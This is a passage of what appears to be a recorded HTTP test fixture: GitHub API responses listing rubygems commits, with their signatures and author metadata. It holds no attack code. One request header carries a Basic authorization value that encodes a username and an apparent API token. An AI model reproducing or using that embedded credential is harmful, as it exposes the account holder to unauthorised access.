SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVXlUACgkQ+c8TQXJk\n+sIHFAf/caGv/XUxukkG/B4YEY7AnOCis0Vp9jJgcTBuO7/DXFQiBr9tZQg7SSIB\nT8DwMqeUoigEivfpiQexlhKUndnLZXfN2Vbxc3XYkRWRu3awtTicQsmaGD5FdLIk\nMPscmyEc8QuYdO/HqNlUzkPNdpP4SI1mntpOHcXBp84MmaaiilRpuRyLcrg1IL13\nOBQ+NKEN71AxzYQVoBh4XDQ+U/Dv07TQ/cXGFwq7f57Ri7PZRQ7Pqrg2LoKaiDV7\nj0rhg3Pd2zEproond+1CXseGVJjkO62ICeK0Se1EnoPnbbl5pfiGoJr7sEKJnaFi\nWtMPzuhw4OWiI/Ik9htRXKGQvEmwUg==\n=Qr2/\n-----END PGP SIGNATURE-----","payload":"tree 1e8ff66739545f9dcfeff7c5a1d757443c3529cf\nparent e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa\nauthor SHIBATA Hiroshi 1511349844 +0900\ncommitter SHIBATA Hiroshi 1511349844 +0900\n\nAdded test\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52","html_url":"https://github.com/rubygems/rubygems/commit/80f0f3b126a67ce876885ad4ce840509418bec52","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","html_url":"https://github.com/rubygems/rubygems/commit/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa"}]},{"sha":"e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:01:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:01:22Z"},"message":"Generate bundler''s executable on Windows platforms.","tree":{"sha":"ac858904eb982e97d3c0f12258813199bb372957","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ac858904eb982e97d3c0f12258813199bb372957"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVWQIACgkQ+c8TQXJk\n+sKMSggAmQP7BWjLuUcUwgMEZwLfwuCh1HsyR3QAYOrou9FzaMhEIOx7EqR024ay\nji/jBCMmgOy2EKd/pFHnQ84LlGYD/IcGmbok0fptrx/Gqih69XdcTwZicEWOWfhH\nOIfjxEnWPTX2UEsxkoMtgS1/EABRxXlTIPLeKQ0sPzj6u1wzuN7RqfIudf6Aa382\n/xwQeQgl0RQxjcSRTBIsPJIF+fsaTPGzbJB1/VnlcWntsNdnxNEo5CB1byeo3mgW\neipiT8P2KvgxfDoCWPIVWj5IErzn9gcrDMETl1lwEqUwcL6Dyx+8Q4ln1Fj4FXt/\niR51bzcBX84v2AqoNEgxzugT3xAxwQ==\n=lx/p\n-----END PGP SIGNATURE-----","payload":"tree ac858904eb982e97d3c0f12258813199bb372957\nparent 03c09d67f983cb548f4790add004bd8bda9ba3cd\nauthor SHIBATA Hiroshi 1511348482 +0900\ncommitter SHIBATA Hiroshi 1511348482 +0900\n\nGenerate bundler''s executable on Windows platforms.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","html_url":"https://github.com/rubygems/rubygems/commit/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd"}]},{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T09:23:34Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T09:23:34Z"},"message":"Auto merge of #2086 - hsbt:bugfix-2081, r=hsbt\n\nPrevent to delete to \"bundler-\" prefix gem like bundler-audit\n\nFixes #2081.","tree":{"sha":"7f23d3ad05807a5d49c59a3b24a17db3239d055d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7f23d3ad05807a5d49c59a3b24a17db3239d055d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837"},{"sha":"0e7a0531e3a35430d2c219e9c707d055496dfa47","url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","html_url":"https://github.com/rubygems/rubygems/commit/0e7a0531e3a35430d2c219e9c707d055496dfa47"}]},{"sha":"0e7a0531e3a35430d2c219e9c707d055496dfa47","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T05:15:08Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"To use Gem::Version::VERSION_PATTERN instead of digit regex.","tree":{"sha":"7f23d3ad05807a5d49c59a3b24a17db3239d055d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7f23d3ad05807a5d49c59a3b24a17db3239d055d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","html_url":"https://github.com/rubygems/rubygems/commit/0e7a0531e3a35430d2c219e9c707d055496dfa47","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"27b291da9b56e9f4ea9ca62224ac58a64dda229d","url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","html_url":"https://github.com/rubygems/rubygems/commit/27b291da9b56e9f4ea9ca62224ac58a64dda229d"}]},{"sha":"27b291da9b56e9f4ea9ca62224ac58a64dda229d","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T11:39:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"match? is wrong","tree":{"sha":"2c53188e2da7a67a92f31096a61b9aca6aa6b34b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2c53188e2da7a67a92f31096a61b9aca6aa6b34b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","html_url":"https://github.com/rubygems/rubygems/commit/27b291da9b56e9f4ea9ca62224ac58a64dda229d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe8c8d5d296b41199d54a3b0468837d42d4dfe42","url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","html_url":"https://github.com/rubygems/rubygems/commit/fe8c8d5d296b41199d54a3b0468837d42d4dfe42"}]},{"sha":"fe8c8d5d296b41199d54a3b0468837d42d4dfe42","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T09:49:28Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"Fixes #2081. Prevent to delete to \"bundler-\" prefix gem like bundler-audit.","tree":{"sha":"59c857a8d540cb82f7fc1d16c6d438fe2e645169","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/59c857a8d540cb82f7fc1d16c6d438fe2e645169"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","html_url":"https://github.com/rubygems/rubygems/commit/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837"}]},{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T07:03:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T07:03:59Z"},"message":"Auto merge of #2093 - hsbt:ruby18-binread, r=hsbt\n\nIO.binread is not provided at Ruby 1.8\n\nFixup https://github.com/rubygems/rubygems/pull/2089 at Ruby 1.8","tree":{"sha":"de480593d5f127d318d51d8b6c92fa1290728262","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de480593d5f127d318d51d8b6c92fa1290728262"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff"},{"sha":"2c6529ed08af7fd2063e57b1abe15aea38ab49c6","url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","html_url":"https://github.com/rubygems/rubygems/commit/2c6529ed08af7fd2063e57b1abe15aea38ab49c6"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 14:59:33 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=5&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4627' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"334fccfd83ea1f6f565580ba02de5935" Last-Modified: - Wed, 22 Nov 2017 06:05:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.081108' X-Github-Request-Id: - A144:4D97:9033FC:1C469A1:5A50E455 body: encoding: ASCII-8BIT string: '[{"sha":"2c6529ed08af7fd2063e57b1abe15aea38ab49c6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T06:05:32Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T06:05:32Z"},"message":"IO.binread is not provided at Ruby 1.8","tree":{"sha":"de480593d5f127d318d51d8b6c92fa1290728262","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/de480593d5f127d318d51d8b6c92fa1290728262"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVE6wACgkQ+c8TQXJk\n+sI4xggAuYsS7GymJiZsCdnUSum2J0JgTZT2wYdPbLRYtPdB6z0jv+Yxw5FGZNMY\n6vYEgutL8G19O+sqK59jzT0eEy5jNAuSFZEAiA+V5vp7Iw4dJR/LFlXnSWr/3ivY\nllXe9k1UeG7gWd6Bpe6X88cnih499MlJwSqfo2lR+iNuU7KxSQdvbK3e82jyzs8O\nu23nKkB9HEVxeM7yV2ZwKxSFOBUmtmtnSZ2q6tTLaMlr8j0IXDmWcZOXWl9Qz6ld\naZ2KP1EYjPHuYfgfUYoND49+GLa9MCtDo6uLjE2yaFtJ+vQf4Ku1pgVSXJS6pRy7\nPpMULgW5mnmnKFe+Rdzw1G6cR87/uA==\n=stpm\n-----END PGP SIGNATURE-----","payload":"tree de480593d5f127d318d51d8b6c92fa1290728262\nparent bb6cea99004abba91927b1874cc378ff714598ff\nauthor SHIBATA Hiroshi 1511330732 +0900\ncommitter SHIBATA Hiroshi 1511330732 +0900\n\nIO.binread is not provided at Ruby 1.8\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","html_url":"https://github.com/rubygems/rubygems/commit/2c6529ed08af7fd2063e57b1abe15aea38ab49c6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2c6529ed08af7fd2063e57b1abe15aea38ab49c6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff"}]},{"sha":"bb6cea99004abba91927b1874cc378ff714598ff","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:30:25Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T03:30:25Z"},"message":"Auto merge of #2090 - lucasprag:fix_install_test_deps_rake, r=segiddins\n\nFix rake install_test_deps once the rake clean_env does not exist\n\n# Description:\n\nProblem: running `rake install_test_deps` is raising an error:\n\n![rake-with-error](https://user-images.githubusercontent.com/2293178/33078993-85de9ab0-cebb-11e7-93ff-8737fda7e9ac.png)\n\nSolution: change the `rake install_test_deps` to run `clean` instead of `clean_env` (I saw this on `rake --tasks`)\n\n![rake-without-error](https://user-images.githubusercontent.com/2293178/33079224-356fe9a2-cebc-11e7-89fd-69205079b6ea.png)\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests (does not apply)\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).\n\nThank you","tree":{"sha":"8ac419e4859683220205fd2672088c852da595a0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8ac419e4859683220205fd2672088c852da595a0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bb6cea99004abba91927b1874cc378ff714598ff","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff","html_url":"https://github.com/rubygems/rubygems/commit/bb6cea99004abba91927b1874cc378ff714598ff","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bb6cea99004abba91927b1874cc378ff714598ff/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundler